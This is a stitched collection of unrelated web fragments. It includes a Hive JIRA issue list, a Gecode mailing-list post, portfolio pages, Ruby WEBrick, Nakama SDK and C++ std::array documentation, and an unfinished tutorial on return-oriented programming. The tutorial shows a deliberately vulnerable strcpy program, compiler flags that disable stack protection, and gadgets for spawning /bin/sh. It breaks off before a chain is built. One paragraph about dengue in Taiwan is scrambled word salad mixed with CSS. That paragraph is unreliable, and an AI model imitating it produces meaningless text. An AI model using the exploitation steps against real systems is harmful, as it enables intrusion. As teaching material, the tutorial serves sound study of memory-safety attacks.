Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-10364 |
The HMS upgrade script test does not publish results when prepare.sh fails. |
Major |
Testing Infrastructure |
Sergio Peña |
Sergio Peña |
| HIVE-10313 |
Literal Decimal ExprNodeConstantDesc should contain value of HiveDecimal instead of String |
Major |
Query Processor |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-10197 |
Add lockId to all ACID log statements |
Critical |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-9115 |
Hive build failure on hadoop-2.7 due to HADOOP-11356 |
Major |
. |
Jason Dere |
Jason Dere |
| HIVE-10270 |
Cannot use Decimal constants less than 0.1BD |
Major |
Types |
Jason Dere |
Jason Dere |
| HIVE-10374 |
Revert HIVE-10304 deprecation message to HiveCLI |
Major |
. |
Szehon Ho |
Szehon Ho |
| HIVE-9580 |
Server returns incorrect result from JOIN ON VARCHAR columns |
Major |
HiveServer2 |
Mike |
Aihua Xu |
| HIVE-10324 |
Hive metatool should take table_param_key to allow for changes to avro serde's schema url key |
Major |
Metastore |
Szehon Ho |
Ferdinand Xu |
| HIVE-10306 |
We need to print tez summary when hive.server2.logging.level >= PERFORMANCE. |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10284 |
enable container reuse for grace hash join |
Major |
. |
Gunther Hagleitner |
Wei Zheng |
| HIVE-10367 |
org.apache.hive.hcatalog.pig.TestHCatLoaderEncryption.* fails in Windows |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-9923 |
No clear message when "from" is missing |
Major |
. |
Jeff Zhang |
Yongzhi Chen |
| HIVE-10303 |
HIVE-9471 broke forward compatibility of ORC files |
Major |
File Formats |
Owen O'Malley |
Prasanth Jayachandran |
| HIVE-9791 |
insert into table throws NPE |
Major |
Parser |
Alexander Pivovarov |
Yongzhi Chen |
| HIVE-10331 |
ORC : Is null SARG filters out all row groups written in old ORC format |
Major |
Hive |
Mostafa Mokhtar |
Mostafa Mokhtar |
| HIVE-9711 |
ORC Vectorization DoubleColumnVector.isRepeating=false if all entries are NaN |
Major |
File Formats, Vectorization |
Gopal V |
Gopal V |
| HIVE-10407 |
separate out the timestamp ranges for testing purposes |
Major |
. |
Owen O'Malley |
Owen O'Malley |
| HIVE-10275 |
GenericUDF getTimestampValue should return Timestamp instead of Date |
Major |
UDF |
Alexander Pivovarov |
Alexander Pivovarov |
| HIVE-10062 |
HiveOnTez: Union followed by Multi-GB followed by Multi-insert loses data |
Critical |
. |
Pengcheng Xiong |
Pengcheng Xiong |
| HIVE-10472 |
Jenkins HMS upgrade test is not publishing results because JIRAService class is not found. |
Major |
. |
Sergio Peña |
Sergio Peña |
| HIVE-10323 |
Tez merge join operator does not honor hive.join.emit.interval |
Major |
Query Processor |
Vikram Dixit K |
Vikram Dixit K |
| HIVE-10451 |
PTF deserializer fails if values are not used in reducer |
Major |
PTF-Windowing, Query Processor |
Gopal V |
Ashutosh Chauhan |
| HIVE-10372 |
Update parquet version to 1.6.0 |
Major |
. |
Ferdinand Xu |
Ferdinand Xu |
| HIVE-10447 |
Beeline JDBC Driver to support 2 way SSL |
Major |
Beeline |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10490 |
HBase Snapshot IF fails at run time with missing dependency of MetricsRegistry |
Major |
HBase Handler |
Jagruti Varia |
Ashutosh Chauhan |
| HIVE-10421 |
DROP TABLE with qualified table name ignores database name when checking partitions |
Major |
. |
Jason Dere |
Jason Dere |
| HIVE-10441 |
Fix confusing log statement in SessionState about hive.execution.engine setting |
Major |
. |
Jason Dere |
Jason Dere |
| HIVE-4625 |
HS2 should not attempt to get delegation token from metastore if using embedded metastore |
Major |
HiveServer2 |
Thejas M Nair |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10465 |
whitelist restrictions don't get initialized in new copy of HiveConf |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-10477 |
Provide option to disable Spark tests |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10510 |
Change 1.2.0-SNAPSHOT to 1.2.0 in branch-1.2 |
Major |
. |
Sushanth Sowmyan |
Sushanth Sowmyan |
| HIVE-10500 |
Repeated deadlocks in underlying RDBMS cause transaction or lock failure |
Major |
Transactions |
Alan Gates |
Alan Gates |
| HIVE-9674 |
*DropPartitionEvent should handle partition-sets. |
Major |
Metastore |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-10499 |
Ensure Session/ZooKeeperClient instances are closed |
Minor |
. |
Jimmy Xiang |
Jimmy Xiang |
| HIVE-10428 |
NPE in RegexSerDe using HCat |
Major |
Serializers/Deserializers |
Jason Dere |
Jason Dere |
| HIVE-10513 |
[CBO] return path : Fix create_func1.q for return path |
Major |
CBO, Tests |
Ashutosh Chauhan |
Ashutosh Chauhan |
| HIVE-10517 |
HCatPartition should not be created with "" as location in tests |
Major |
Tests |
Sushanth Sowmyan |
Sushanth Sowmyan |
| HIVE-10437 |
NullPointerException on queries where map/reduce is not involved on tables with partitions |
Critical |
Serializers/Deserializers |
Demeter Sztanko |
Ashutosh Chauhan |
| HIVE-9681 |
Extend HiveAuthorizationProvider to support partition-sets. |
Major |
Security |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-10384 |
RetryingMetaStoreClient does not retry wrapped TTransportExceptions |
Major |
Clients |
Eric Liang |
Chaoyu Tang |
| HIVE-5672 |
Insert with custom separator not supported for non-local directory |
Major |
. |
Romain Rigaux |
Nemon Lou |
| HIVE-10543 |
improve error message in MetaStoreAuthzAPIAuthorizerEmbedOnly |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-10508 |
Strip out password information from config passed to Tez/MR in cases where password encryption is not used |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10507 |
Expose RetryingMetastoreClient to other external users of metastore client like Flume and Storm. |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10514 |
Fix MiniCliDriver tests failure |
Major |
Testing Infrastructure |
Szehon Ho |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10579 |
Fix -Phadoop-1 build |
Major |
. |
Xuefu Zhang |
Xuefu Zhang |
| HIVE-10578 |
update sql standard authorization configuration whitelist |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-10603 |
increase default permgen space for HS2 on windows |
Major |
HiveServer2 |
Thejas M Nair |
Ivan Malamen |
| HIVE-10544 |
Beeline/Hive JDBC Driver fails in HTTP mode on Windows with java.lang.NoSuchFieldError: INSTANCE |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10604 |
update webhcat-default.xml with 1.2 version numbers |
Minor |
WebHCat |
Eugene Koifman |
Eugene Koifman |
| HIVE-9908 |
vectorization error binary type not supported, group by with binary columns |
Major |
. |
Priyesh Raj |
Matt McCline |
| HIVE-5545 |
HCatRecord getInteger method returns String when used on Partition columns of type INT |
Major |
HCatalog |
Rishav Rohit |
Sushanth Sowmyan |
| HIVE-8915 |
Log file explosion due to non-existence of COMPACTION_QUEUE table |
Major |
Transactions |
Sushanth Sowmyan |
Alan Gates |
| HIVE-8890 |
HiveServer2 dynamic service discovery: use persistent ephemeral nodes curator recipe |
Critical |
HiveServer2 |
Vaibhav Gumashta |
Vaibhav Gumashta |
| HIVE-10576 |
add jar command does not work with Windows OS |
Major |
. |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10213 |
MapReduce jobs using dynamic-partitioning fail on commit. |
Major |
HCatalog |
Mithun Radhakrishnan |
Mithun Radhakrishnan |
| HIVE-10607 |
Combination of ReducesinkDedup + TopN optimization yields incorrect result if there are multiple GBY in reducer |
Major |
Logical Optimizer, Tez |
Ashutosh Chauhan |
Ashutosh Chauhan |
| HIVE-10539 |
set default value of hive.repl.task.factory |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-10446 |
Hybrid Hybrid Grace Hash Join : java.lang.IllegalArgumentException in Kryo while spilling big table |
Major |
Hive |
Mostafa Mokhtar |
Wei Zheng |
| HIVE-10610 |
hive command fails to get hadoop version |
Major |
. |
Shwetha G S |
Shwetha G S |
| HIVE-9456 |
Make Hive support unicode with MSSQL as Metastore backend |
Major |
Metastore |
Xiaobing Zhou |
Xiaobing Zhou |
| HIVE-8524 |
When table is renamed stats are lost as changes are not propagated to metastore tables TAB_COL_STATS and PART_COL_STATS |
Major |
Metastore |
Mostafa Mokhtar |
Ashutosh Chauhan |
| HIVE-9845 |
HCatSplit repeats information making input split data size huge |
Major |
HCatalog |
Rohini Palaniswamy |
Mithun Radhakrishnan |
| HIVE-9743 |
Incorrect result set for vectorized left outer join |
Major |
SQL |
N Campbell |
Matt McCline |
| HIVE-10484 |
Vectorization : RuntimeException "Big Table Retained Mapping duplicate column" |
Major |
Tez, Vectorization |
Mostafa Mokhtar |
Matt McCline |
| HIVE-10564 |
webhcat should use webhcat-site.xml properties for controller job submission |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-10612 |
HIVE-10578 broke TestSQLStdHiveAccessControllerHS2 tests |
Major |
Authorization |
Thejas M Nair |
Thejas M Nair |
| HIVE-10595 |
Dropping a table can cause NPEs in the compactor |
Major |
Metastore, Transactions |
Alan Gates |
Alan Gates |
| HIVE-9644 |
Fold case & when udfs |
Major |
Logical Optimizer |
Gopal V |
Ashutosh Chauhan |
| HIVE-10614 |
schemaTool upgrade from 0.14.0 to 1.3.0 causes failure |
Critical |
Metastore |
Hari Sankar Sivarama Subramaniyan |
Hari Sankar Sivarama Subramaniyan |
| HIVE-10530 |
Aggregate stats cache: bug fixes for RDBMS path |
Major |
Metastore |
Vaibhav Gumashta |
Vaibhav Gumashta |
| HIVE-9486 |
Use session classloader instead of application loader |
Minor |
Query Processor |
Navis |
Navis |
| HIVE-5733 |
Publish hive-exec artifact without all the dependencies |
Major |
. |
Jarek Jarcec Cecho |
Amareshwari Sriramadasu |
| HIVE-6865 |
Failed to load data into Hive from Pig using HCatStorer() |
Major |
HCatalog |
Bing Li |
Bing Li |
| HIVE-5530 |
null pointer exception when case returns null |
Minor |
SQL |
N Campbell |
Navis |


[gecode-users] Decimal
Javier Andrés Mena Zapata
javimena at gmail.com
Tue May 19 21:30:15 CEST 2009
Hi,
I'm modelling a financial problem (calculating minimum interests payments
and ROI), and I want to model the "money" value using Gecode integer
variables.
For example, representing 10.25 is like storing 1025 divided by 100. But,
there's a problem with the multiplication, because the interests rates are
float values with very muchs decimals. For example 0.00643403011. I think
there may be an overflow if I model this decimal using something like 6434
divided by 1000000.
What do you think it's the best technique for modelling this problem:
1. Use IntVars and the current propagators (as proposed here).
2. Use IntVars, and creating new propagators for IntVar x Float
multiplication.
3. Use float vars, and its propagators.
4. Other?
Thanks,
--
Javier Andrés Mena Zapata
http://StrategicDecision.net/
Cali - Colombia
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.ps.uni-sb.de/pipermail/users/attachments/20090519/28cda986/attachment.htm>
More information about the gecode-users
mailing list


Kabir Singh
This Sandeep Vanga directorial is a remake of the 2017 Telugu movie Arjun Reddy. The plot revolves around an alcoholic surgeon battling temper issues. Things get worse as he watches the love of his life marry another man. High on emotions coupled with impressive action the film promises an intense watch.....
watch now


About Me
My name is Samuel Liu and I am a 2nd year at UC San Diego
I love cooking
I love planting as well!
| Fav Classes | Professor |
|---|---|
| CSE 100 | Niema |
| CSE 30 | Chin |
| CSE 11 | Niema |
My Involvements
CSE 12 Tutor
- I am currently a tutor for CSE 12 which is Basic Data Structures and Object Oriented Design
- We write code like
System.out.println("Hello World");
My favorite Data Structures
- Binary Tree
- Linked List
- Stack
More Info
The instructor is Gary Gillespie and my tutor hours are Sunday 3-5PM and Tuesday 9-10AM, 6-7PM
Lead Android Tech Fellow
- I am currently Android Tech Fellow for Codepath. I teach about 20 UCSD students Android programming.
- We code backend in java and frontend in XML but the frontend is mostly drag and drop thanks to android studios


{% extends "sidebar-page.html" %} {% block content %}
Journals and their articles are categorised using a subset of the Library of Congress Classification. You can either type a keyword into the box below or click the arrows in the tree to expand and collapse subjects. Clicking on a subject will reveal the number of available records in the box on the right.


| Daffodil International University | Dhaka, BD |
| B.Sc in Computer Science & Engineering | 2019 |
| BEPZA Public School and College | Dhaka, BD |
| Higher Secondary Certificate (H.S.C) in Science | 2014 |
| Baidgaon High School | Dhaka, BD |
| Secondary School Certificate (S.S.C) in Science | 2012 |


ypc is a chat website that a user can setup by himself. Therefor you only need a hosting place like a vps.
You can get a vps for cheap at many hosters so this shouldn't be a problem.
ypc's api is coded in python and based on the framework flask. At the end the end user should just need to download the pack of files, unpack it
and install the installation file and all should be running perfectly. A step by step guide will be in the README and the installation should explain itself.
View project page


class WEBrick::HTTPServlet::ERBHandler
ERBHandler
evaluates an ERB file and returns the result. This handler is automatically used if there are .rhtml files in a directory served by the FileHandler
.
ERBHandler
supports GET and POST methods.
The ERB file is evaluated with the local variables servlet_request
and servlet_response
which are a WEBrick::HTTPRequest
and WEBrick::HTTPResponse
respectively.
Example .rhtml file:
Request to <%= servlet_request.request_uri %> Query params <%= servlet_request.query.inspect %>
Public Class Methods
new(server, name)
click to toggle source
Creates a new ERBHandler
on server
that will evaluate and serve the ERB file name
Calls superclass method
WEBrick::HTTPServlet::AbstractServlet::new
# File lib/webrick/httpservlet/erbhandler.rb, line 42 def initialize(server, name) super(server, name) @script_filename = name end
Public Instance Methods
do_GET(req, res)
click to toggle source
Handles GET requests
# File lib/webrick/httpservlet/erbhandler.rb, line 50 def do_GET(req, res) unless defined?(ERB) @logger.warn "#{self.class}: ERB not defined." raise HTTPStatus::Forbidden, "ERBHandler cannot work." end begin data = File.open(@script_filename, &:read) res.body = evaluate(ERB.new(data), req, res) res['content-type'] ||= HTTPUtils::mime_type(@script_filename, @config[:MimeTypes]) rescue StandardError raise rescue Exception => ex @logger.error(ex) raise HTTPStatus::InternalServerError, ex.message end end
Also aliased as: do_POST
Private Instance Methods
evaluate(erb, servlet_request, servlet_response)
click to toggle source
Evaluates erb
providing servlet_request
and servlet_response
as local variables.
# File lib/webrick/httpservlet/erbhandler.rb, line 79 def evaluate(erb, servlet_request, servlet_response) Module.new.module_eval{ servlet_request.meta_vars servlet_request.query erb.result(binding) } end


Files from an art show: http://example.com/art/
The concept statement of the art show:
A description paragraph.
A table of contents
Foo: An Art Project Release 1 / Serial number 000000
The IF Archive is a public service of the Interactive Fiction Technology Foundation.
Terms of Use - About Us


I am a mechanical engineering student with an emphasis in robotics and mechatronics. I enjoy studying machine design as well as integrating electrical and coding components into projects. Love to experiment with micro controllers, and how I can integrate it into every day life (IoT). I am pursuing a masters degree and afterwards hope to work in robotics for consumer products, factory automation, or space.
Please send me an email if you want a PDF version of my resume (includes address)
Outside of the classroom, I enjoy playing sports, music, and video games. Currently, I play for Georgia Tech's Mens Ultimate Frisbee Team, Tribe. During the summer, I also played for club teams in Atlanta and Boston. I grew up playing jazz saxophone and piano, but now make music in my free time on Spotify. I enjoy traveling, and have been across Asia while studying abroad in China.
For fun, I also like to practice coding, and learn more about mechatronics. I have made various projects to integrate in my household, and have videos on my YouTube channel to teach and demonstrate Arduino concepts. This is my portfolio that highlights some work I have down through my previous internships as well as school projects. A full version with videos can be seen here.
GPA: 4.0/4.0
GPA: 4.0/4.0
GPA: 3.87
Worked to help develop and design future robotic vacuums, docks, and test fixtures.
● Designed and assembled 7 developer fixtures with 30+ components for software testing on new robot dock product
● Used Creo and top-down assembly modeling to test and create modular wheel traction fixture which characterizes tread effectiveness for new robot product
● Assisted with prototype build, root cause analysis, and design reviews to improve new dock product
● Performed free body analysis to optimize robot dock charging mechanism
Worked in the Extreme Environment Robotics Group (347C), specifically on Mars Sample Return (MSR), Mars Sample Return Handling (MSRH), and Chevron/JPL work.
● Conceptualized, procured, and assembled automated testbed ($100K) to characterize and evaluate misalignment error for MSR robotic arm end effector in 6 degrees of freedom (DOF)
● Designed second iteration testbed ($500K) to undergo thermal vacuum requirements (-70C, high vacuum) and higher load/stroke operations
● Created MATLAB simulation for inverse/forward kinematics for MSR Robotic Arm testbed operations
● Wrote code to minimize MSR Robotic Arm link length and joint torques, perform basic path planning and clearance/tolerance checking
● Documented and storyboarded concept of operations for MSR robotic arm using kinematic simulation
● Used FEA to prototype 2DOF flexure mechanism for end effector remote center of compliance
● Conceptualized 4 bar linkage gripper mechanism for MSR end effector latching operations
● Designed custom tools to mount, cut, extract Mars samples from tubes when returned to Earth
● Co-authored IEEE Aerospace paper on decontamination process for MSRH
● Strahle, J., S. Mock, R. Mattingly, J. Chesin, T. Kim, J. Mayo, C. Lengtat, and Y. Liu, “Sample Return Container Opening Process Concept for Potential Mars Sample Return,” IEEE Aerospace Conference, Big Sky, MT, Mar. 6-20, 2021.
Worked in the Advanced Development group on the prototyping of new Shark Robotic Vacuums.
● Implemented solutions to improve robot docking; design was manufactured and sold
● Trained and managed two technicians; documented and assembled prototype builds for over ten new robots
● Tested new robot features using Arduino, sensors, actuators, and modifications for customer insights
● Performed root cause analysis to apply mechanical solutions for robots going to mass production
Instructed 10+ campers in tennis, badminton, rollerblading, and other sports.
● Trained and managed younger coworkers learning to become instructors
● Designed lesson plans, games, and activities to keep campers engaged
● Resolved conflicts between disruptive campers
Worked on NASA JPL’s Exobiology Extant Life Surveyor (EELS) to create a liquid sampling system to aid in search for life on sub-glacial environments such as Antarctica and Enceladus.
● Led team of six as project manager by planning and delegating tasks for ideation, manufacturing, and assembly of final design
● Wrote source code and designed electrical system to run mechatronic system including peristaltic pump, flow and humidity sensors, as well as solenoid valves
● Manufactured three prototypes to test sampling capabilities and leak detection of final design
● Performed literature search to find 57 sensor options for environment characterization
Designed IoT device to help patients and caregivers track user medicine intake, store info on database, show alerts and user history on website.
● Designed, 3D printed, and tested three physical prototypes - pill bottle tracker and pill dispenser
● Wrote source code on ESP32 to publish and subscribe to MQTT nodes and transfer data to Firebase server using JSONs
● Storyboarded user test scenario and developed state machine to interface hardware and fullstack to make device fully autonomous (IoT)
Creation of wireless joint tracking units to measure the position of serially linked manipulators using hall effect sensors.
● Manufactured calibration rig to characterize sensor behavior which implemented hall effect sensors, motor controllers, encoders, and quadrature counters
● Prototyped and tested initial glove design to demonstrate device functionality; device used sensors to control servo position through corresponding finger position
● Wrote and documented source code and libraries for future students regarding serial communication (I2C, SPI), and PID control within the calibration rig
Conducted research to improve powered prosthesis for below-knee amputees by creating a scaling equation for variable torque.
● Designed and manufactured parts to interface with existing prosthetic
● Gathered data with able-bodied and amputee subjects; used MATLAB to analyze metabolic, kinetic and kinematics data
● Tested prosthetic sensors (Encoders, IMU) using Arduino
Designed and prototyped a fully automated playing board to move pieces in an original game.
● Implemented reverse kinematics to map coordinates and control movement of game pieces.
● Integrated Arduino, servos, electromagnets and manufactured working prototype of game device
● CAD and Machine Design, ROS, Machine Learning, Robotics, Dynamics, Statics, Mechatronics, Linear Controls, Heat Transfer, Thermodynamics, Fluid Dynamics, Data Structures and Algorithms, Intermediate Chinese
● SolidWorks, Creo, Windchill PLM, C/C++, Arduino C, MATLAB, Python, ROS, Machine Learning, SciKit Learn, OpenCV, Linux, Jupyter Notebook, Java, FEA, LabView, HTML, JS, Fritzing
● Arduino, ESP32, Teensy, MSP430, NI DAQ, Servos, Stepper Motors, Brushed Motors, various electronic components (Relays, Speakers, Transistors, Resistors, etc.), 8020 aluminum extrusions
● Knowledge of Sensors: Force Torque, Force Sensitive Resistor, IMU, Encoder, Quadrature Counter, Infrared, Ultrasonic, Distance, 3DOF Hall Effect, Color, Motion, Humidity/Temperature
● Understanding of serial protocols (I2C, SPI, UART), PID and motor control, MQTT for IoT
● Laser Cutting, Mill, Lathe, Bandsaw, Circular Saw, 3D printing, Soldering
The projects listed are a combination of ones I completed on my own, and for classes.
• Wrote code with ROS, PID, OpenCV and KNN algorithms to direct TurtleBot robot to read and classify signs while traversing maze (2022)
• Designed, 3D printed, and coded custom 3DOF Robot Arm using servos to test forward/inverse kinematics (2020)
• Prototyped IoT device to track user medicine intake, store info into database, and show alerts and user history on website (2020)
• Wrote code to measure and communicate room conditions (humidity, temperature) over internet using sensors, ESP32, Arduino C, HTML, CSS, and JS (2020)
• This website and Youtube Channel 😎 (2019)
• Homemade anemometer made out of household objects, using fluid dynamics principles (2019)
• Arduino controlled device to prevent forgetting important objects in the morning; used state machines (2019)
• Startup Lab: Performed market research, business plan and consumer insight for drone photography business (2017)
• Group project to construct mechatronic robot for school-wide competition, used LabView and MyRio (2018)
• Group project to create and design a CAD model of a human-like robot (2017)
• Designed original acoustic speaker using CAD; printed working 3D prototype using SLS printer (2017)


The PageChangeEventmanager is in charged of
handling all page-changed events triggered by
Pages and notifying page-change listeners when
such an event is triggered.
Swing paint method for J-Component
Checks to see if the buffer has been cleared (or yet to be created),
if so then it redraws the buffer and then draws the image on the graphics2d or
else it uses the previous buffer.


|
Nakama .NET Client SDK 3.8.0
Nakama .NET Client SDK
|
Namespaces | |
| namespace | TinyJson |
Classes | |
| class | ApiAuthenticateLogoutRequest |
| class | ApiAuthenticateRefreshRequest |
| class | ApiAuthenticateRequest |
| class | ApiClient |
| The low level client for the Satori API. | |
| class | ApiEvent |
| class | ApiEventRequest |
| class | ApiExperiment |
| class | ApiExperimentList |
| class | ApiFlag |
| class | ApiFlagList |
| class | ApiIdentifyRequest |
| class | ApiLiveEvent |
| class | ApiLiveEventList |
| class | ApiProperties |
| class | ApiResponseException |
An exception generated for HttpResponse objects don't return a success status. More... | |
| class | ApiSession |
| class | ApiUpdatePropertiesRequest |
| class | Client |
| class | Event |
| An event to be published to the server. More... | |
| class | GZipContent |
| class | GZipHttpClientHandler |
| class | HttpAdapterUtil |
| Utility methods for the interface. NOTE: DO NOT USE EXTENSION METHODS as Unity cannot cross-compile them properly to WebGL. | |
| class | HttpRequestAdapter |
| HTTP Request adapter which uses the .NET HttpClient to send requests. More... | |
| interface | IApiAuthenticateLogoutRequest |
| Log out a session, invalidate a refresh token, or log out all sessions/refresh tokens for a user. More... | |
| interface | IApiAuthenticateRefreshRequest |
| Authenticate against the server with a refresh token. More... | |
| interface | IApiAuthenticateRequest |
| Authentication request. More... | |
| interface | IApiEvent |
| A single event. Usually, but not necessarily, part of a batch. More... | |
| interface | IApiEventRequest |
| Publish an event to the server. More... | |
| interface | IApiExperiment |
| An experiment that this user is partaking. More... | |
| interface | IApiExperimentList |
| All experiments that this identity is involved with. More... | |
| interface | IApiFlag |
| Feature flag available to the identity. More... | |
| interface | IApiFlagList |
| All flags available to the identity. More... | |
| interface | IApiIdentifyRequest |
| Enrich/replace the current session with a new ID. More... | |
| interface | IApiLiveEvent |
| A single live event. More... | |
| interface | IApiLiveEventList |
| List of Live events. More... | |
| interface | IApiProperties |
| Properties associated with an identity. More... | |
| interface | IApiSession |
| A session. More... | |
| interface | IApiUpdatePropertiesRequest |
| Update Properties associated with this identity. More... | |
| interface | IClient |
| A client for the API in Satori server. More... | |
| interface | IHttpAdapter |
| An adapter which implements the HTTP protocol. More... | |
| interface | ILogger |
| A simple logger to write log messages to an output sink. More... | |
| interface | IProtobufAny |
| interface | IRpcStatus |
| interface | ISession |
| A session authenticated for a user with Satori server. More... | |
| class | PreserveAttribute |
| A custom attribute recognized by Unity3D. When added to a class member, it prevents the Unity linker from stripping the code it is associated with. This is used in addition to the link.xml file because the Unity Package Manager does not recognize link.xml files inside Unity packages. https://docs.unity3d.com/2018.3/Documentation/Manual/ManagedCodeStripping.html. | |
| class | ProtobufAny |
| class | RpcStatus |
| class | Session |
Functions | |
| delegate bool | TransientExceptionDelegate (Exception e) |
| A delegate used to determine whether or not a network exception is due to a temporary bad state on the server. For example, timeouts can be transient in cases where the server is experiencing temporarily high load. | |
| delegate bool Satori.TransientExceptionDelegate | ( | Exception | e | ) |
A delegate used to determine whether or not a network exception is due to a temporary bad state on the server. For example, timeouts can be transient in cases where the server is experiencing temporarily high load.


4.5. Iteration
iterator array<Ty, N>::begin();
const_iterator array<Ty, N>::begin() const;
The member functions return a random-access iterator that points to the first element of the controlled sequence or just beyond the end of an empty sequence.
iterator array<Ty, N>::end();
const_iterator array<Ty, N>::end() const;
The member functions return a random-access iterator that points just beyond the end of the controlled sequence.
The member functions begin and end return a pair of iterators that designate the beginning and the end of the controlled sequence.
Example 4.8. Calling an Algorithm (contarray/beginend.cpp)
#include <array>
#include <algorithm>
#include <iostream>
#include <iterator>
using std::tr1::array;
using std::sort;
using std::cout; using std::copy;
using std::ostream_iterator;
const int ELEMS = 6;
int main()
{ // demonstrate use of begin and end to designate range
array<int, ELEMS> values = { 3, 1, 4, 2, 9, 8 };
copy(values.begin(), values.end(),
ostream_iterator<int>(cout, " "));
cout << '\n';
sort(values.begin(), values.end());
copy(values.begin(), values.end(),
ostream_iterator<int>(cout, " "));
cout << '\n';
return 0;
}
|
reverse_iterator array<Ty, N>::rbegin();
const_reverse_iterator array<Ty, N>::rbegin() const;
The member functions return a random-access iterator that points just beyond the end of the controlled sequence. Hence, it designates the beginning of the reverse sequence.
reverse_iterator array<Ty, N>::rend();
const_reverse_iterator array<Ty, N>::rend() const;
The member functions return a random-access iterator that points to the first element of the controlled sequence or just beyond the end of an empty sequence. Hence, it designates the end of the reverse sequence.
The member functions rbegin and rend return a pair of iterators that designate the beginning and the end of the controlled sequence in reverse.
Example 4.9. Reversing an Algorithm (contarray/rbeginrend.cpp)
#include <array>
#include <algorithm>
#include <iostream>
#include <iterator>
using std::tr1::array;
using std::sort;
using std::cout; using std::copy;
using std::ostream_iterator;
const int ELEMS = 6;
int main()
{ // demonstrate use of rbegin and rend to designate range
array<int, ELEMS> values = { 3, 1, 4, 2, 9, 8 };
copy(values.begin(), values.end(),
ostream_iterator<int>(cout, " "));
cout << '\n';
sort(values.rbegin(), values.rend());
copy(values.begin(), values.end(),
ostream_iterator<int>(cout, " "));
cout << '\n';
return 0;
}
|
|


the and dengue cases fever imported for Kaohsiung from indigenous were between {background City with Taiwan The margin disease {border-style number px;} that #ffffff;} was this Dengue which September quarantine are period Aedes Number []. concealment confirmed individuals reported data local outbreaks prevention virus control importation (.%), DENV analysis case correlation infected Control Disease cases, countries dengue, found global industry not numbers px; screening surveillance within {font-family CDC Health Table Total after epidemic font-size has identified reduce risk using via CYP, Research Taiwan, This Trop also available correlations double; endemic including into major significant spread (.%); (Table All CHC Commons Creative Fig. Infect Supplementary [], airport all border-color border-width both city during following foreign have included infections information international network other result service solid; study than there travel two {font-style {font-weight (.%) A-MRAP-A-MRAP- Centers City, Foreign However, Institutes, Med Negl South Standard Statistical WLL, accounting albopictus analyzed any bold border clinical courier; days diseases each em; entry epidemics focus had health hemorrhagic infection likelihood line month mosquito part pt;} relationship reporting sample secondary strategies study, test throughout use used wave while


Wading through the maze of ROP chains
Birds Eye View and the Deep Dive Series
Birds Eye View
The main idea of Return Oriented Programming (ROP) is to chain and run the instructions which are already present in the code to the attackers advantage.
Getting to know Buffer Overflows
In buffer overflow vulnerabilities, one of the most common methods used by attackers is to write the shellcode onto the stack and then to execute it. The execution of the shellcode is achieved by controlling the EIP, and pointing it to the start of the shellcode. The buffer overflow attacks have targeted both stack and heap memory regions for exploiting these vulnerabilities.
The key to successful buffer overflow attack is to control the Instruction Pointer (IP).
In order to mitigate the effect of the buffer overflow vulnerabilities we have following mitigation’s in place:
- Stack Canaries: This is a compiler level protection. These are inserted by the compilers at compile time into the binaries. Different compilers have different ways by which they accomplish it.
- Data Execution Prevention (DEP): This is supported at the hardware level by way of
NX
bit. Setting or unsetting this bit will make the address space executable or non-executable. We can control it through software. - Address Space Layout Randomization (ASLR): Here we randomize the address space of various segments of the program, so that they don’t have fixed address which can be easily exploited by the malicious actors. ASLR can be enabled or disable at the operation system level. In linux we have additional features to control it at program level also.
Where do the ROPs fit in?
In Return Oriented Programming (ROP) we chain the gadgets in such a way that we are able to obtain the shell (command prompt) on the vulnerable system. It can be used to bypass the DEP/ASLR safeguards.
And what do you mean by gadgets?
Well, these are a group of instructions which end with ret
. Some of the useful ROP gadgets are:
- Loading constant into register
pop eax; ret
- Loading from memory
mov ebx, [eax]; ret
- Store in memory
mov [eax], ebx; ret
- Arithmetic operations
xor eax, eax; ret
- System calls
int 0x80; ret
Deep Dive
Having the background lets try to take a deep dive and understand what the hullabaloo is about.
Our objective is to launch /bin/sh
shell
We will make use of following steps:
- Write
/bin/sh
string in memory - Setup
execve
syscall number - Setup
execve
arguments - Syscall gadgets
- Find syscall interrupt
- Build the ROP chain as a python script
Building the ROP Chain
int execve(const char *filename, char *const argv[], char *const envp[]);
pop ebx
- first argumentpop ecx
- second argumentpop edx
- third argument
xor eax, eax
- used to initialize the context to zero
inc eax
- used 11 times to setup the execve syscall number
int 0x80
- syscall exception
Example Exploitation
Let’s take a vulnerable buffer overflow example code:
/*rop.c*/
#include <stdio.h>
#include <string.h>
int main(int argc,char *argv[]){
char buf[10];
strcpy(buf,argv[1]);
printf("Buf:%s\n",buf);
return 0;
}
Compiling the above program
$ gcc -ggdb -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -znoexecstack
rop.c -o rop
-m32
: For output in 32 bit binary format.ggdb
: Enable debug info.mpreferred-stack-boundary
: GCC will align stack pointer on2^2=4byte
boundary.fno-stack-protector
: To disable stack canaries.znoexecstack
: EnableNX
to make stack non executable
Disable ASLR
ASLR has following flags options
0
: No Randomization1
: Conservative RandomizationShared libraries
Stack
Mmap
VDSO
Heap
2
Full RandomizationBrk()
